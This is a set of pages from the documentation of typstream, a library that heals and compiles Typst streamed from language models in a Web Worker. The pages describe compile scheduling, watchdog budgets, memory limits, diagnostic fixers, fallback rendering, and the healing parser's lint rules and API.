# The engine

> How @typstream/engine compiles streamed Typst in a Web Worker, when it compiles, how the watchdog keeps runaway documents from freezing the page, and its limits.

Source: https://typstream.vercel.app/docs/concepts/engine

`@typstream/engine` compiles documents with Typst 0.15.1 in a Web Worker and keeps the preview alive when compiles fail, hang or crash. It has two halves: a small **client** on the main thread, which heals each document and decides when to compile, and a **server** in the worker, which runs Typst. The bindings create and share an engine for you; you use it directly for a custom renderer, to run several documents on one worker, or to tune budgets.

```ts
import { createEngine, engineWorker } from "@typstream/engine";

const engine = createEngine({ spawn: engineWorker() });
const doc = engine.open({ target: "html" }); // or "paged"

doc.subscribe(({ status, artifact, diagnostics }) => render(artifact, status, diagnostics));
for await (const chunk of llmStream) doc.push(chunk);
doc.finish(); // strict heal, final compile → status "done" or "error"
```

## Client and worker

```text
┌─ main thread: client ───────────────┐        ┌─ worker: server ─────────────────────┐
│ documents: heal every push/edit     │        │ documents: text, preamble, files     │
│ scheduler: one compile at a time    │──────▶ │ Typst 0.15.1 (engine-wasm)           │
│ watchdog: budget per compile        │  diff  │ fixers (Layer 3), fallback (Layer 4) │
│ state: last good artifact, status   │ ◀──────│ packages, lazy fonts                 │
└─────────────────────────────────────┘ result └──────────────────────────────────────┘
          spare worker, initialized, waiting to take over
```

The client and the worker talk through a versioned protocol defined in `@typstream/core`, shaped like a language server's: documents are opened, edited by revision, compiled and closed, and the worker pushes diagnostics and artifacts back. Healing stays on the main thread, because it is cheap and runs on every token; the worker only sees the healed source, as one diff right before each compile.

Because the protocol is plain messages, the same server runs elsewhere: `@typstream/node` serves it over WebSocket from Node worker threads ([Remote engine](/docs/guides/remote-engine)), and `@typstream/engine/server` lets you write your own worker, for example to load the wasm and fonts from a CDN ([Self-hosting](/docs/guides/self-hosting)).

## When it compiles

- **One compile at a time, per engine.** The worker is single-threaded anyway, and running one compile at a time across all documents means a watchdog budget only ever measures that document's own compile.
- **Latest wins.** Tokens arrive every few milliseconds and a compile takes 5–100 ms, so compiles are never queued. Each document has at most one compile pending, and it reads the newest healed source when its turn comes. Chunks pushed in the same task share a compile.
- **Adaptive interval.** Compiles of a document start at most every `clamp(minInterval, 1.25 × average compile time, maxInterval)`: 33 ms to 500 ms by default. Small documents update about 30 times a second; big ones update less often, and the worker never falls behind.
- **Boundary bias.** When a line or block has just finished (heal's stable offset moved forward), the next compile is due after `minInterval` instead: a finished paragraph is a better moment to show than the middle of a word.
- **Nothing to do, no compile.** A change that heals to the same source (typing inside a `#let x =` that is still cut) doesn't compile.
- **Stale output is dropped.** Diagnostics and artifacts count only for the revision last sent, and diagnostics are mapped back to input positions.

The schedule is set per engine or per document (`schedule` on `createEngine`, `engine.open` or `<Typstream>`):

### ScheduleOptions

How often a document compiles while it streams.

| Prop           | Type      | Description                                                                                                                                                                                                                                |
| -------------- | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `minInterval`  | `number`  | Shortest time between the starts of two compiles. Default 33 ms (≈ 30 fps).                                                                                                                                                                |
| `maxInterval`  | `number`  | Longest time between them while the document changes. Default 500 ms.                                                                                                                                                                      |
| `boundaryBias` | `boolean` | Compile after `minInterval` instead of the full adaptive interval when heal's `stableOffset` has advanced since the last compile: a line or block just finished, which is a better moment to show than the middle of a word. Default true. |
| `staleMs`      | `number`  | After this long without a good render while streaming, failing compiles fall back to the settled text, with the rest as plain text below it (PLAN §5.6 level 2). Default 1500 ms.                                                          |

## The last good artifact

A failed compile publishes nothing, and the document keeps showing its last good artifact. While streaming the status is `stale`; in final mode it is `error`. In practice the worker's fixers and fallback usually find something to show first ([Fixers and fallback](/docs/concepts/fallback)). For paged documents the client merges changed pages into what it has, so `state.artifact` always holds every page.

## Watchdog

Typst limits loop iterations and recursion, but not time or memory, and a compile can't be interrupted from inside. So the client times every compile, and stops one that runs too long by terminating its worker.

- **Budgets.** 3 s per compile while streaming, 10 s in final mode. The clock starts once the worker is initialized, so its cold start doesn't count.
- **Spare worker.** An initialized spare waits in the background, so a replacement is instant. Documents reopen in the new worker at their next compile, with their current text.
- **Strikes.** A timeout or a worker crash (a Typst panic, running out of memory) is a strike against the document. After 3, live compiling stops: the status is `stale` with `failure.reason` `"too-complex"`, and the document compiles once more when it's finished, with the final budget.
- **Finished documents.** A final compile that hangs or crashes doesn't fail the document: the client searches for the block responsible, compiling prefixes with the rest skipped, each under its own budget (`probeMs`, 5 s), and shows that block as an error box ([Fixers and fallback](/docs/concepts/fallback)).

### WatchdogOptions

Watchdog limits (PLAN §6.3).

| Prop          | Type     | Description                                                                                                                                                            |
| ------------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `streamingMs` | `number` | Budget of a streaming compile. Default 3000 ms.                                                                                                                        |
| `finalMs`     | `number` | Budget of a final compile. Default 10000 ms.                                                                                                                           |
| `strikes`     | `number` | Timeouts or crashes after which a document stops compiling live. Default 3.                                                                                            |
| `probeMs`     | `number` | Budget of each compile that looks for the part of a finished document that hangs or crashes the engine (PLAN §5.6): prefixes of it, the rest skipped. Default 5000 ms. |

## Recycling and memory

Typst memoizes work between compiles, which is what makes a streamed recompile take milliseconds. Its cache would grow with every compile, so the worker evicts old entries after every compile, and memory stays flat over a long session. As a safety net, a worker that reports more than 256 MiB after a compile is replaced by the spare between compiles (`recycleBytes`; `Infinity` disables it). The next compile then runs without the old worker's caches.

## Limits

Hostile or runaway input stops at these limits instead of loading the main thread or the page:

- **`maxLength`**: input longer than 1 MiB (1,048,576 UTF-16 code units) isn't healed or compiled. The document reports `too-large` and keeps its last artifact until `set()` or `reset()` brings it back under the limit.
- **`livePages`**: a streaming paged compile with more than 100 pages stops live compiling (`too-complex`), keeping its pages. `finish()` compiles every page.

### LimitOptions

What a document may cost (PLAN §9). Hostile or runaway input stops here
instead of loading the main thread (healing) or the page (pages).

| Prop        | Type     | Description                                                                                                                                                                                                                   |
| ----------- | -------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `maxLength` | `number` | The longest input, in UTF-16 code units, that is healed and compiled. Longer input fails with `too-large`: pushes and edits are dropped until `set()` or `reset()` brings it back under the limit. Default 1 MiB (1,048,576). |
| `livePages` | `number` | The most pages a streaming paged compile may have. One with more stops live compiling (`too-complex`), keeping its pages; the finished document compiles in full. Default 100.                                                |

More on what documents can and can't do: [Security](/docs/guides/security).

## Fonts and packages, loaded lazily

The default worker starts with a small base set of fonts: Libertinus Serif, New Computer Modern Math (for equations) and DejaVu Sans Mono (for code). Fonts for other scripts are registered without their bytes: Noto Naskh Arabic, Noto Serif Bengali and Noto Serif Devanagari. When a compile needs one, that compile uses another font (or draws empty boxes), the worker downloads the font, and the document recompiles on its own once it arrives. A Bengali worksheet fetches about 150 KB; an English one fetches nothing. CJK fonts aren't included; you add them. See [Fonts and languages](/docs/guides/fonts-and-languages).

Typst Universe packages work the same way: before each compile the worker looks for `#import "@preview/…"` specs, fetches the allowed ones, checks their integrity, and mounts them. A compile waits a moment for its packages; one that arrives later recompiles the document. Fonts and packages are kept in Cache Storage, so they work offline after the first load. See [Typst packages](/docs/guides/typst-packages).

## One engine, many documents

Documents opened on one engine share its worker, its fonts, its packages and Typst's cache, and compile one at a time. In React, every `<Typstream>` without an `engine` prop shares one engine per page: it is created on first use and terminated a second after the last component (or `TypstreamProvider`) unmounts, so answers coming and going keep it warm. Only documents near the viewport or still streaming compile, so a chat with fifty finished answers costs one worker and no idle compiles.

Pass your own `Engine` (from `createEngine`) to change its options or to share it with code outside React.

### EngineOptions

How to run the engine.

| Prop            | Type                                               | Description                                                                                                                                                                                                                                                                                    |
| --------------- | -------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `spawn`         | `SpawnEngine`                                      | Starts a worker running the engine server: engineWorker in a browser, or `fromWebSocket` (`@typstream/engine/websocket`) for a server.                                                                                                                                                         |
| `initialize?`   | `InitializeOptions \| undefined`                   | Fonts and packages shared by every document, sent with `initialize`.                                                                                                                                                                                                                           |
| `plugins?`      | `readonly TypstreamPlugin[] \| undefined`          | Plugins whose worker-wide facets the engine loads (PLAN §8.0): their `engine.fonts`, `engine.packages`, `engine.fixerModules` and `engine.fontCatalogues` join `initialize`'s. Their document facets (files, preamble, heal) apply to the documents that list them in DocumentOptions.plugins. |
| `clientInfo?`   | `{ name: string; version?: string; } \| undefined` | Sent with `initialize`, for the worker's logs.                                                                                                                                                                                                                                                 |
| `watchdog?`     | `Partial<WatchdogOptions> \| undefined`            | Compile budgets and strikes; defaults in DEFAULT_WATCHDOG, or the `spawn`'s own.                                                                                                                                                                                                               |
| `limits?`       | `Partial<LimitOptions> \| undefined`               | Input length and live page limits; defaults in DEFAULT_LIMITS.                                                                                                                                                                                                                                 |
| `recycleBytes?` | `number \| undefined`                              | Replace the worker once it reports more memory than this after a compile. A safety net: the default engine evicts Typst's caches after every compile and stays flat. Default 256 MiB; `Infinity` disables recycling.                                                                           |
| `spare?`        | `boolean \| undefined`                             | Keep an initialized spare worker so replacing the active one is instant, started once the active one has answered a compile (at once when a spare takes over). Default true, or the `spawn`'s own.                                                                                             |
| `schedule?`     | `Partial<ScheduleOptions> \| undefined`            | Default schedule of every document.                                                                                                                                                                                                                                                            |
| `clock?`        | `Clock \| undefined`                               | Timers; tests pass fake ones.                                                                                                                                                                                                                                                                  |

<Callout type="warn" title="Beta">
`initialize` (fonts and packages for every document, sent to the worker at start) is `@beta`. Prefer `plugins`, whose `engine.fonts` and `engine.packages` the engine loads the same way ([Plugins](/docs/concepts/plugins)).
</Callout>

## The worker and its assets

`engineWorker()` spawns the default worker. It is written as `new Worker(new URL("./worker.js", import.meta.url), { type: "module" })`, and the worker refers to the wasm and fonts the same way, so Vite and Next.js (Turbopack or webpack) bundle all of them as assets with no configuration. The wasm is about 19 MB, about 6 MB with brotli; the base fonts are 2.6 MB. Serve them compressed and cacheable.

Reference: [`@typstream/engine`](/docs/reference/engine).


# Fixers and fallback

> What the engine does when a healed document still doesn't compile: diagnostic fixers that repair errors only the compiler finds, and a fallback ladder that always leaves something to show.

Source: https://typstream.vercel.app/docs/concepts/fallback

Healing guarantees that a source parses, not that it compiles. `#text(` heals to `#text()`, which fails because the function needs its body; `@fig-cell` fails until the `<fig-cell>` label arrives; a settled block can simply be wrong. The engine handles these in the worker, after compiling, in two layers: **fixers** (Layer 3) turn compile errors into edits and recompile, and the **fallback ladder** (Layer 4) decides what to show when the errors stay. Both are on by default, in the browser worker and in `@typstream/node`'s server alike.

The result: a document never turns into an error screen. Here the third block can't compile, and the rest renders around it:

```typst
= Fractions

Add the fractions: $1/2 + 1/4 = 3/4$.

#let total = sum(1, 2)

The rest of the worksheet still renders, including $2/3 + 1/6 = 5/6$.
```

## Fixers (Layer 3)

When a compile fails, each error is offered to the fixers in priority order, and the first fixer that returns edits fixes it. A round is applied only when every error has a fix, since one left over would fail the recompile anyway. The worker applies the edits and compiles again, **at most 2 rounds per revision**, each starting only while the compile has taken under 1 s (streaming) or 3 s (final mode), a third of the watchdog's budgets. Only a round that ends without errors counts; otherwise the client gets the first compile's diagnostics and the fallback takes over.

Five fixers are built in:

| Fixer | Priority | Modes | What it fixes |
|---|---|---|---|
| `pending-ref` | 10 | streaming, final | A reference to a label that doesn't exist yet: `@key` (or `ref(<key>)` in code) becomes a muted placeholder showing the key. Common while streaming (a citation before `#bibliography`). In final mode the placeholder shows and the error is still reported. |
| `missing-image` | 15 | streaming, final | An image the document has no file for (`#image("diagram.png")`, a URL, one still loading): a placeholder with the file's name, keeping the call's size and alt text and a figure's caption. See [Images](/docs/guides/images). |
| `package-stub` | 20 | streaming, final | An import of a package the document can't have (not allowed, still loading, failed to load): the imported names become placeholders that show the package's spec. A wildcard import, or a module whose fields are used (`cetz.draw`), can't be stood in for; the error stays and the fallback isolates the block. |
| `hoist-import` | 25 | streaming, final | A name used before the package import that binds it: a helper on CeTZ written above `#import "@preview/cetz:0.5.3"`, or `#unit(…)` in a template's arguments above unify's import. A Typst function only sees what exists where it is defined. The import moves to the document's start. Only an import that binds the name outright (bare, `as`, items) at the top level; a wildcard (`: *`) could bind anything. While streaming, only a settled import; final compiles still report the error, since the source doesn't compile as written. |
| `tail-cut` | 100 | streaming | An error in the text still being typed (after heal's stable offset), or a call there in the error's trace: cut the source at that point and heal it again. `#text(` without its body, `#v(1` (an integer, not yet a length), `rgb("#e` and closure parameters before `=>` drop out until the next tokens bring them back. A cut that leaves a call empty drops the call too. |

`tail-cut` is what makes streamed prefixes compile: over typstream's corpus, healing alone makes 88% of stream prefixes compile, and with the fixers 99.9% do. It never touches settled text, and it doesn't run in final mode, where a document's errors are reported rather than hidden.

**Reporting.** While streaming, the errors a fixer fixed are reported as `info` diagnostics, with the fixer's name as `source`, so the output is clean but you can still see what happened. In final mode they are reported as the errors they are. `state.lastCompile.fixes` lists the fixes behind the current output.

**Placeholders** come from a small Typst library the worker mounts at `/@typstream/runtime.typ` and imports only into compiles it fixed, so valid documents compile exactly as written. In HTML, placeholders carry the classes `typstream-pending-ref`, `typstream-missing-package`, `typstream-pending-text` and `typstream-error-block` for styling; a document's own file at that path replaces the library.

**Your own fixers** ship in a plugin's `engine.fixerModules`: ES modules, loaded in the worker, whose default export is a `DiagnosticFixer` or an array of them. See [Writing a plugin](/docs/guides/writing-a-plugin).

## The fallback ladder (Layer 4)

When errors remain after the fixers, the worker tries each rung in turn:

| Level | When | What the reader sees |
|---|---|---|
| 1. Last good render | Streaming, a compile failed | The previous output stays; the status is `stale`. The next tokens usually fix it. |
| 2. Stable prefix | Streaming, compiles have failed for 1.5 s (`schedule.staleMs`) | The settled text, compiled, with the unsettled tail below it as muted plain text. |
| 3. Error blocks | Streaming (settled blocks only) and final mode | Each failing top-level block replaced by a "This part couldn't be displayed" box; everything else renders. |
| 4. Whole document | Final mode, nothing else compiled in time | The whole document as one error box showing its source. |

### Error blocks

A document is split into **top-level blocks** at the start of the text, after a blank line, and at headings, never in the middle of a list or detaching a label. Typst state flows forward (a `#let` or `#set` affects everything after it), so blocks can't be compiled one by one. Instead the worker finds the first failing block by bisecting prefixes: prefix `k` compiles, prefix `k + 1` doesn't. These are check compiles, which produce diagnostics without exporting anything. That block is replaced by an error block and the search continues after it.

- It costs about log₂(n) checks and one compile per failing block, for a document of n blocks. A block where the parser finds a syntax error needs no check.
- A block that uses an isolated block's definitions is isolated too, and a function that fails is blamed where it is called, not where it is defined.
- References to labels that come later don't count as failures during the search.
- While streaming, only settled blocks are isolated: the block being written is left to the fixers and the stable prefix. What the search found is remembered for the next revision, so a lasting error costs about one extra compile per update.

The error box shows "This part couldn't be displayed.", the error, and the block's source (folded away under "Source" in HTML, up to 2,000 characters). In HTML it is a `div.typstream-error-block` with `role="note"`; in paged output, a dashed box with the source as code.

### Hangs and crashes

A compile that runs past the watchdog's budget or crashes the worker can't be bisected by the worker: it never answers. So in final mode, the client searches. It compiles prefixes of the document with the rest skipped, each under its own budget (`watchdog.probeMs`, 5 s), at most 16 compiles per search. The block that doesn't finish is shown as an error box ("Compiling this part took too long." or "Compiling this part crashed the engine.") and is skipped from then on, while the source stays the same. Its diagnostic has the code `timeout` or `engine-crashed`.

While streaming, timeouts and crashes stay watchdog strikes: after 3, live compiling stops until the document is finished ([The engine](/docs/concepts/engine#watchdog)).

### The tail never shows less

A compile can succeed and still be worse than the last one: a cut that keeps a prefix compiling may take text that had already rendered with it. While streaming, such a compile is held back (level 1) until the tail shows as much again or that text settles, so content doesn't flash away and back. See [Streaming and final mode](/docs/concepts/streaming#the-tail-never-shows-less-than-it-did).

## Observing it

- **`state.lastCompile.fallback`** (`doc.getState()`, or `useTypstream().document`) is set when the output came from levels 2–4: `level`, `isolated` (the ranges shown as error boxes) and `plainFrom` (where the plain-text tail starts).
- **Diagnostics**: the errors of isolated blocks stay errors, at their place in the document. Under the stable prefix, the tail's errors are `info` with `source: "stable-prefix"`. Because there is an output, the status is `idle` while streaming and `done` in final mode.
- **`onFallback`** (on `<Typstream>`, `TypstreamProvider` and `mountTypstream`, or `doc.onEvent`) fires with every compile whose output isn't the text as it is, levels 1 to 4. The event has `level`, `isolated`, `plainFrom`, `consecutive` (how many in a row), the diagnostics, and the `input` and healed `source`, which make a reproducible test case.

```tsx
<Typstream
  source={text}
  isStreaming={streaming}
  onFallback={(e) => {
    if (e.level >= 3 && e.consecutive === 1) console.info("fallback", { level: e.level, length: e.input.length });
  }}
/>
```

Documents are user content: ask for consent before collecting `input` or `source`. See [Telemetry](/docs/guides/telemetry).

## Turning it off

The fallback is per document: `engine.open({ fallback: false })` turns off levels 2–4, and a failed compile keeps the last good artifact instead. The bindings (`<Typstream>`, `mountTypstream`) always use the fallback; there is no prop for it yet. The fixers stay on either way; a custom worker can replace or remove them (`serve(engineWasm(), undefined, { fixers: [] })`).

## Limits

- Exports (`exportPdf()`, `exportHtml()`) don't use fixers or the fallback: they export what compiles, or reject with the diagnostics.
- While streaming, a block that hangs isn't isolated; it costs watchdog strikes instead.
- An error with no position in the document, such as a panic inside a package on a half-typed argument, can't be cut by `tail-cut` ([#72](https://github.com/ikramhasan/typstream/issues/72)); the last good render covers it while streaming.


# Healing

> How @typstream/heal turns any prefix of a model's Typst output into a source that parses, which text it never touches, and the lint rules that fix Markdown habits.

Source: https://typstream.vercel.app/docs/concepts/healing

`@typstream/heal` takes any prefix of a model's Typst output and returns a source that parses: it closes what is open, drops what can't be completed yet, and fixes common Markdown habits in text that has settled. It runs on the main thread on every chunk, with no dependencies and no compiler. The engine client heals for you; you use the package directly to heal on a server, in a custom pipeline, or to show "writing a table…" in your UI.

Scrub through a stream below to see what the healer closes, cuts and fixes at each prefix.



## In one call

```ts
import { heal } from "@typstream/heal";

heal("#table(columns: 2, [a], [b").source; // "#table(columns: 2, [a], [b])"
heal("Hello *bold").source; // "Hello *bold*"
heal("$x^").source; // "$x$"
heal("#let x = ").source; // ""  (an incomplete statement is dropped, not guessed)
heal("#set text(size: 12").source; // ""  (half-written rules are never applied)
heal("```typst\n= Quiz\n\nText").source; // "= Quiz\n\nText"  (the fence is stripped)
```

`heal()` is stateless. For a stream, use the incremental healer, which re-parses only from the last checkpoint before each change:

```ts
import { createHealer } from "@typstream/heal";

const healer = createHealer();
for await (const chunk of stream) {
  const { source, stableOffset, openFrames } = healer.push(chunk);
  compile(source); // always parses
}
const done = healer.finish(); // complete document: lint everything, report what's still broken
```

## What happens to a prefix

### 1. Normalize

The raw output is cleaned before anything parses it. A Markdown code fence around the whole document (```` ```typst ```` or ```` ```typ ````) is stripped, with its closing fence, and so is a byte order mark. While streaming, half a surrogate pair at the very end is held back until its other half arrives, so the compiler never sees a broken character. Normalization only looks at the start and end of the text, so it costs nothing per chunk. `unwrapFences: "never"` keeps fences.

### 2. Recognize

The healer contains a faithful TypeScript port of Typst 0.15.1's lexer and parser, used as a recognizer: the same grammar, lookahead and mode switches between markup, code and math, without building a tree. It is tested against Typst's own parser, compiled from the pinned Typst release, on documents, every one of their prefixes and random input. When a construct meets the end of the text, the recognizer records what it needs:

- **close**: append the closing delimiter (`]`, `)`, `*`, `$`, `"`, a matching run of backticks);
- **cut**: drop the incomplete construct back to where it started.

A hand-written approximation of Typst's grammar would disagree with Typst at the edges (`$ [0, 1) $` is valid math, `/* /* */ */` nests, `https://a//b` is a link and not a comment). A port of the real parser doesn't.

### 3. Repair the tail

Repair cuts first, then closes, innermost construct first. Each candidate is recognized again before it's accepted, so the result always parses; if a closer would merge with the last token (`\` followed by `*`), the healer separates them or drops that token.

**Close or cut?** Content and delimiters are closed, because what is there is already right and more of it is coming: `[b` becomes `[b]`, `$frac(1, 2` becomes `$frac(1, 2)$`, a display equation keeps its trailing space so it doesn't flip between inline and display as it streams. Statements are cut, because no closing makes them mean what the model will write:

| Input ends with | Healed | Why |
|---|---|---|
| `#let x = ` | dropped | No value to bind yet. |
| `#set text(size: 12` | dropped | A `#set` or `#show` rule restyles everything after it. Applied half-written, it would restyle the whole document, then again when it completes. |
| `#tabl` | dropped | A name still being typed: `tabl` is not a function. |
| `Some text #` | `Some text ` | A bare `#` starts no expression. |
| `$x^` | `$x$` | A trailing operator in math has no operand yet. |

Half-written `#set`, `#show`, `#import` and `#include` statements are dropped by default. `dropIncompleteRules: false` closes them instead (`#set text(size: 12)`), for callers who prefer seeing a rule early to stable output.

Some cuts can't be known from syntax alone: `#text(` closes to `#text()`, which parses but needs its body. The engine's fixers handle those after compiling ([Fixers and fallback](/docs/concepts/fallback)).

### 4. Lint settled text

Settled text is checked for mistakes that are permanent, not streaming artifacts: Markdown habits and stray delimiters. See [Lint rules](#lint-rules).

## Settled text and the stable offset

`stableOffset` is the offset in `source` before which the text is **settled**: appending more can't change how it parses. It sits at the start of a top-level line (a root checkpoint) whose first character is already followed by another, so a line-start `/` that could still become `//` doesn't count yet.

- It only moves forward while text is appended, however the stream is chunked.
- The healer never rewrites settled text, except for lint fixes. Tail repair only touches text after it.
- Lint rules run only on settled text while streaming (on everything in final mode), so a `**` that is still being typed isn't "fixed" halfway.
- The engine sends it with every compile, so the `tail-cut` fixer only cuts text that is still being written, and the fallback isolates only settled blocks.

## Lint rules

Each rule has a severity: `fix` applies the change, `warn` only reports it as a finding, `off` disables it. Defaults:

| Rule | Default | Detects | Fix |
|---|---|---|---|
| `markdown-heading` | fix | `# Heading` at a line start (indented too) | `= Heading`, one `=` per `#` |
| `markdown-bold` | fix | `**bold**` or `__bold__` | `*bold*` or `_bold_` |
| `markdown-link` | fix | `[text](https://…)` | `#link("https://…")[text]` |
| `email-at` | fix | `@` inside a word, which Typst reads as a reference (`me@school.org`) | `me\@school.org` |
| `bare-hash` | fix | `#` followed by a space, which starts no expression (`Item # 5`) | `\#` |
| `stray-closer` | fix | A `]` with nothing open | `\]` |
| `unclosed-delim` | fix | A `*` or `_` never closed in its paragraph (a hard error in Typst) | `\*`, `\_` |
| `math-lone-script` | fix | An equation that starts with `^` or `_`: units written as `m/s$^2$`, `H$_2$O` | An empty base: `m/s$""^2$` |
| `layout-profile` | fix | `par(justify: true)[…]`, `leading` or `linebreaks` arguments, and `show par: set par(…)` or `show text: set text(hyphenate: …)` rules: what would beat the [layout profile](/docs/concepts/render-targets#layout-profile). a small fixed `radius` (up to 12 pt) on a `block`, `rect` or `box` around text, and in their set rules: a DOCX export keeps a rounded box only as a picture | The argument removed: `par()[…]`, `block(inset: 8pt)[…]` |
| `unclosed-block-comment` | warn | A `/*` that is never closed: it compiles, but hides the rest of the document | none |
| `currency-dollar` | warn | Prices read as math: `costs $5 and $10` | `\$5`, `\$10` |

Rules fire only in markup, so `**` inside raw text or a string is left alone. `currency-dollar` warns by default because it is a guess; it doesn't fire on equations that start with a number and go on with math (`$0.4 times 0.3 =$`).

```ts
heal(text, { lint: { "currency-dollar": "fix", "markdown-link": "off" } });
```

Findings are in `result.findings` (`rule`, `severity`, `start`, `end` in input offsets, `message`). Plugins and `<Typstream heal={…}>` take the same settings.

## Open frames

`openFrames` lists the constructs still open at the end of the input, innermost first, with the input offset of each opening delimiter. Use it to tell the reader what the model is writing:

```ts
const result = heal("= Results\n\n#table(columns: 2, [a], [b");
result.openFrames;
// [{ frame: "content", open: 35 }, { frame: "args", open: 17 }]
// The outermost frame's opener is the `(` of `#table(`: "writing a table…"
```

Frame kinds are syntactic (`content`, `args`, `math`, `strong`, `raw`, …). Read the text just before an `args` frame's `open` to find the function name. `useTypstream()` exposes the same list as `openFrames`.

## The source map

Healing changes offsets: lint fixes insert characters, the fence is stripped, closers are appended. `result.map` converts between the two texts:

```ts
const result = heal("```typst\nHello *bold");
result.source; // "Hello *bold*"
result.map.toSource(9); // 0: input offset → source offset
result.map.toInput(0); // 9: source offset → input offset
```

`toInput(pos, -1)` maps a position inside removed input text to before it (the default is after). The engine uses the map to report diagnostics in your input's coordinates, so an error points at the text the model wrote, not the healed text. `result.patches` lists the changes from the normalized input (fence and byte order mark already stripped) to the source, each with its reason: `heal:close`, `heal:cut`, `lint:markdown-bold`, and so on.

## The incremental healer

`createHealer(options)` keeps the recognition between calls and resumes at the last checkpoint before each change. After an edit, it re-parses until it is back in step with the old parse, then reuses the rest, so a one-character edit in the middle of a long document re-reads only a few lines.

| Method | What it does |
|---|---|
| `push(chunk)` | Appends streamed text. |
| `set(input)` | Replaces the whole input, for example a `source` prop that grows. It diffs against the previous input, so an extension is as cheap as `push`. |
| `applyEdit({ from, to, insert })` | Applies an edit (editors, collaboration, an AI rewriting a section). Offsets are UTF-16 indices into the input. |
| `setStreamingRange(range)` | Marks `[from, to)` of the input as being written by a model. `null` heals the whole tail again. |
| `finish()` | The stream ended: heal the complete document. |
| `result()` | The latest result. |
| `reset(input?)` | Starts over, with the options the healer was created with. |

Every call returns a `HealResult`, and the result is always the same as `heal()` on the whole input with the same options.

### Streaming into the middle of a document

When a model rewrites one section of an existing document ("make question 3 harder"), the text it writes is in the middle, not at the end. `setStreamingRange` heals that range as if it were the tail, closing only what opened inside it. The text before and after it is settled: it comes out as it did, its lint fixes included, and `suffixOffset` says where the text after the range starts in `source`:

```ts
const doc = "= Notes\n\nIntro.\n\nOld question.\n\nOutro, with m/s$^2$.";
const healer = createHealer();
healer.set(doc);
healer.finish(); // a finished document
const from = doc.indexOf("Old");
const to = from + "Old question.".length; // the block's text, not the blank line after it
healer.setStreamingRange({ from, to });
const r = healer.applyEdit({ from, to, insert: "#table(columns: 2, [a" }); // the range follows the edit
r.source; // '= Notes\n\nIntro.\n\n#table(columns: 2, [a])\n\nOutro, with m/s$""^2$.'
r.source.slice(r.suffixOffset); // the settled text after the range, with its lint fix
healer.finish(); // done: final mode again
```

Text inserted at the end of the range extends it. Keep the range block-aligned: from the start of a top-level block (`blockStarts`) to the end of a block's text, so the blank line after it stays outside. Otherwise, while the range is written, its last line runs into the next block's first, and a heading there would turn into text. The engine document and the bindings take a range too ([Streaming](/docs/concepts/streaming#streaming-into-part-of-a-document)).

### Final mode

`finish()`, or `heal(text, { final: true })`, heals a complete document:

- no tail repair: what is still open is reported in `errors` (`unclosed delimiter`) instead of being closed;
- every lint rule runs on the whole text;
- `stableOffset` is the end of the text.

```ts
heal("#table(columns: 2, [a], [b", { final: true });
// source unchanged; errors: two "unclosed delimiter" at offsets 24 and 6
```

A truncated answer is then visible as an error rather than silently completed. `@typstream/node`'s `validate()` reports lint findings of finished documents as warnings, for a [server fix loop](/docs/guides/server-fix-loop).

## Handlers

Handlers add product-specific fixes, run alongside the built-in rules. A handler has a `name`, a `phase` and a `run(ctx)` that returns edits:

- `settled` handlers see newly settled text (`ctx.from` to `ctx.to` of the normalized text), with `ctx.modeAt(pos)` to stay out of code and math. They run like lint rules, with their edits reported as findings under the handler's name.
- `output` handlers see the whole healed source, after repair.

```ts
import { heal, type HealHandler } from "@typstream/heal";

// `[[blank]]` in prose becomes an answer line.
const blanks: HealHandler = {
  name: "acme/blank-shorthand",
  phase: "settled",
  run: ({ text, from, to, modeAt }) =>
    [...text.slice(from, to).matchAll(/\[\[blank\]\]/g)]
      .map((m) => from + m.index)
      .filter((at) => modeAt(at) === "markup")
      .map((at) => ({ from: at, to: at + 9, insert: "#box(width: 3em, stroke: (bottom: 0.5pt))" })),
};

heal("The capital of France is [[blank]].\n\nNext", { handlers: [blanks] }).source;
// "The capital of France is #box(width: 3em, stroke: (bottom: 0.5pt)).\n\nNext"
```

Edits must be non-overlapping and inside `[ctx.from, ctx.to)`. `priority` orders handlers (lower first, default 100); the built-in lint rules run before them all. Plugins ship handlers in their `heal.handlers` facet ([Plugins](/docs/concepts/plugins)).

## What healing guarantees

These hold for every prefix of every valid document, and are checked by property tests against Typst's real parser:

- **Healed prefixes parse.** Typst's parser finds no syntax error in the healed source.
- **Settled text is untouched.** Only a bounded tail (the incomplete atom or statement) is lost; settled text is changed only by lint fixes.
- **Healing is idempotent.** Healing a healed source returns it unchanged.
- **Valid documents come back unchanged.** With lint off, a complete valid document is returned as is: the healer never "fixes" correct Typst.
- **Incremental equals stateless.** Pushing chunks, setting a growing string, or applying random edits gives the same result as `heal()` on the whole text, however the input is split.

Parsing is not compiling: a healed prefix can still fail to compile (`#text()` without its body, a reference to a label that comes later). The engine's [fixers and fallback](/docs/concepts/fallback) take it from there. Reference: [`@typstream/heal`](/docs/reference/heal).


# How it works

> Why streaming Typst is harder than streaming Markdown, and the pipeline typstream runs every token through, from the model's text to pixels.

Source: https://typstream.vercel.app/docs/concepts/how-it-works

typstream turns a model's Typst output into a live preview while the model is still writing. This page explains the problem it solves and the pipeline it runs, so the rest of the docs make sense. You don't need any of it to render your first document: see [Getting started](/docs/getting-started/react) for that.

## Why Typst is harder to stream than Markdown

Markdown degrades gracefully. An unclosed `**` is just two asterisks, and every paragraph renders on its own, so a Markdown streamer can show whatever has arrived.

Typst is a compiled language. The compiler reads the whole document, and one problem anywhere fails all of it:

- **One unclosed delimiter fails the whole document.** `#table(columns: 2, [a], [b` is not "a table with a missing bracket": it is an `unclosed delimiter` error, and there is no output at all. Without help, most prefixes of a streamed document don't compile.
- **Documents are programs.** `#let` defines names, `#set` and `#show` rules restyle everything after them, counters and references flow across the document. You can't render blocks independently, as a Markdown renderer does.
- **Some prefixes can't be closed, only cut.** `#let x =` or `#set text(size:` have no sensible completion. Guessing one would apply a half-written rule to the whole document and make it flicker.
- **Some errors appear only when compiling.** `#text(` closed as `#text()` parses, but fails because the function needs its body. A citation before the bibliography it points to fails until the bibliography arrives.
- **Documents can run away.** Typst limits loop iterations and recursion depth, but not time or memory: an AI-written `range(100000000).map(x => x)` would freeze the tab if it ran on the main thread.

So typstream must make every prefix compile, or show something sensible when it can't, and it must never block the page.

## The pipeline

Every chunk the model sends goes through the same path:

```text
  model output, chunk by chunk
